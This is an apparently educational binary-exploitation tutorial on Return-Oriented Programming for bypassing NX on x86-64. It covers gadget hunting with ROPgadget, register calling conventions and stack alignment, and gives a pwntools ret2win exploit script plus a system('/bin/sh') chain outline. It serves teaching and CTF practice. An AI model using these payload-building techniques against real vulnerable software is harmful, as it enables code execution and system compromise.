ROP Chains
Build Return-Oriented Programming chains to bypass NX and execute arbitrary code.
ROP Chains (Return-Oriented Programming)
NX is on. The stack is non-executable. You can't inject shellcode. So what do you do?
You reuse code that already exists in the binary. Small snippets of instructions ending in ret are called gadgets. By chaining gadgets together on the stack, you can make the program do almost anything — call functions, set registers, spawn a shell — without writing a single byte of new code.
How It Works
When ret executes, the CPU pops the top of the stack into RIP (the instruction pointer). Normally this just returns to the caller. But if you've overwritten the stack, you control what gets popped. You can make ret jump to any gadget:
Stack after overflow:
┌─────────────────────┐
│ addr of "pop rdi; ret" │ ← RIP jumps here
│ 0xdeadbeef │ ← gets popped into RDI
│ addr of system() │ ← next ret jumps here
│ addr of exit() │ ← system()'s return addr
└─────────────────────┘Each ret pops the next address off the stack and jumps there. The stack is your program.
Gadgets: The Building Blocks
A gadget is a short sequence of instructions already in the binary that ends in ret. The most important gadget on x86-64 is:
pop rdi; ret ← loads a value from the stack into RDI, then returnsWhy RDI? On x86-64, the first function argument goes in RDI. To call system("/bin/sh"), you need to put the address of "/bin/sh" into RDI, then jump to system(). The pop rdi; ret gadget does the first part.
Finding Gadgets
pip3 install ROPgadget
# Search the binary for gadgets
ROPgadget --binary ./vuln
# Filter for specific gadgets
ROPgadget --binary ./vuln | grep "pop rdi"
# Search libc for gadgets (when binary doesn't have enough)
ROPgadget --binary ./libc.so.6 | grep "pop rdi"Calling Conventions
To call a function via ROP, you need to put arguments in the right places. This depends on the architecture:
Arguments go in registers. You need gadgets to load them:
| Argument | Register | Gadget needed |
|---|---|---|
| 1st | RDI | pop rdi; ret |
| 2nd | RSI | pop rsi; ret (or pop rsi; pop r15; ret) |
| 3rd | RDX | pop rdx; ret (often hard to find) |
To call system("/bin/sh"):
pop rdi; ret → loads &"/bin/sh" into RDI
ret → (optional, for stack alignment)
system() → called with RDI = &"/bin/sh"On x86-64, pop rdi; ret is the single most important gadget. Nearly every ROP chain needs it. If you can't find it in the binary, search libc.
Stack Alignment
On x86-64, the System V ABI requires 16-byte stack alignment before a call instruction. If system() or any function crashes silently (especially on movaps instructions), add a ret gadget before the call:
payload = b'A' * offset
payload += p64(ret) # alignment gadget
payload += p64(pop_rdi)
payload += p64(bin_sh_addr)
payload += p64(system_addr)The extra ret just pops 8 bytes off the stack, shifting alignment by one slot.
Example: ret2win via ROP
When the binary has a win() function and NX is on, you can still use a simple ROP chain:
from pwn import *
context.binary = elf = ELF('./vuln')
p = process('./vuln')
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0]
offset = 72
payload = b'A' * offset
payload += p64(ret) # stack alignment
payload += p64(elf.sym['win']) # jump to win()
p.sendline(payload)
p.interactive()This is the simplest ROP chain: just one gadget (the alignment ret) and one function call.
When You Need More: ret2libc
If there's no win() function, you need to call system("/bin/sh") from libc. This requires a leak to find libc's base address (because of ASLR). The full process is:
- Use ROP to call
puts(puts@GOT)— this prints the resolved address ofputsin libc - Compute
libc_base = leaked_address - libc.sym['puts'] - Build a second ROP chain that calls
system("/bin/sh")
This is covered in detail on the ret2libc page.
When Gadgets Are Scarce
If the binary is very small and doesn't have enough gadgets:
- Search libc — libc has thousands of gadgets. You just need a libc leak first.
- Use SROP — Sigreturn-Oriented Programming sets all registers at once with just a
syscall; retgadget. - Use ret2csu —
__libc_csu_initcontains universal gadgets for controlling RDI, RSI, and RDX. See the ret2libc page for details.
Checklist
- Run
checksec— NX on? → you need ROP - Find
pop rdi; retgadget (most important one) - Find a
retgadget for stack alignment - Is there a
win()function? → simple ROP chain to it - No
win()? → go to ret2libc for the full leak + system() flow - Need RDX/RSI control? → search libc, or use SROP
- Very few gadgets? → try SROP
Last updated on